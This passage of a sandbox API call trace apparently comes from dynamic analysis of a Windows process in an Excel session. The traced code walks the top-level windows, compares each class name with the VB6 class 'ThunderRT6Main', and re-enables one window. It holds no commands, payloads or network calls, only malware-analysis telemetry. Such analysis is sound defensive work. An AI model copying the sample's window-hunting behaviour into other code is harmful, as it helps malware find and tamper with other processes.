lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0099.929] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0099.929] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.929] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0099.929] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0099.929] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0099.929] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0099.929] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.929] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.929] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0099.929] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0099.930] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0099.930] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0099.930] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0099.930] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0099.930] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0099.930] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.930] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0099.930] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.930] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0099.930] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.930] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0099.930] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0099.930] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.930] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0099.930] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0099.930] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0099.930] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0099.930] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0099.930] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.930] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0099.930] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0099.930] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0099.930] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0099.930] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.930] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.930] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0099.930] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0099.930] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0099.930] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0099.930] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0099.930] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0099.930] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0099.931] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0099.931] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.931] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0099.931] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0099.931] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0099.931] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0099.931] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0099.931] IsWindowEnabled (hWnd=0x302dc) returned 0 [0099.931] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0099.931] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0099.931] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0099.931] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0099.931] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0099.931] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0099.931] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0099.931] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0099.931] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0099.931] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0099.931] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.931] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0099.931] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0099.931] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0099.931] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0099.931] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.931] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0099.931] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0099.931] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0099.931] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0099.931] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.931] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0099.931] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0099.931] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0099.931] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0099.931] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.931] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.931] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.931] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0099.931] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0099.931] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0099.931] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0099.931] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0099.932] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0099.932] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0099.932] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0099.932] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0099.932] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0099.932] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0099.932] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0099.932] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0099.932] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0099.932] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0099.932] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0099.932] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0099.932] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0099.932] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0099.932] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0099.932] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0099.932] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0099.932] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0099.932] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0099.932] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0099.932] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0099.932] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0099.932] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0099.932] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0099.932] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0099.932] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0099.932] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0099.932] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0099.932] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0099.932] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0099.932] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0099.932] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0099.932] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0099.932] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0099.932] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.932] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0099.932] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0099.933] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0099.933] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0099.933] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0099.933] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.933] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0099.933] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0099.933] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0099.933] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0099.933] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0099.933] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0099.933] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0099.933] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0099.933] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.933] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0099.933] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0099.933] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0099.933] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0099.933] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.933] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0099.933] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0099.933] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0099.933] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0099.933] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0099.933] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0099.933] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0099.933] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0099.933] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0099.933] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.933] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0099.933] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0099.933] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0099.933] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0099.933] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0099.933] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.933] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0099.933] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0099.933] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0099.933] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0099.933] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0099.933] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0099.934] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0099.934] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0099.934] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0099.934] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0099.934] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0099.934] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0099.934] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0099.934] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0099.934] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0099.934] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0099.934] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0099.934] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0099.934] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0099.934] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0099.934] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0099.934] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0099.934] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0099.934] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0099.934] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0099.934] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0099.934] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0099.934] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0099.934] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0099.934] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0099.934] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0099.934] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0099.934] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0099.934] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0099.934] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0099.934] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.934] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0099.935] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0099.935] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0099.935] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0099.935] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0099.935] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0099.935] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0099.935] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0099.935] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0099.935] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0099.935] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 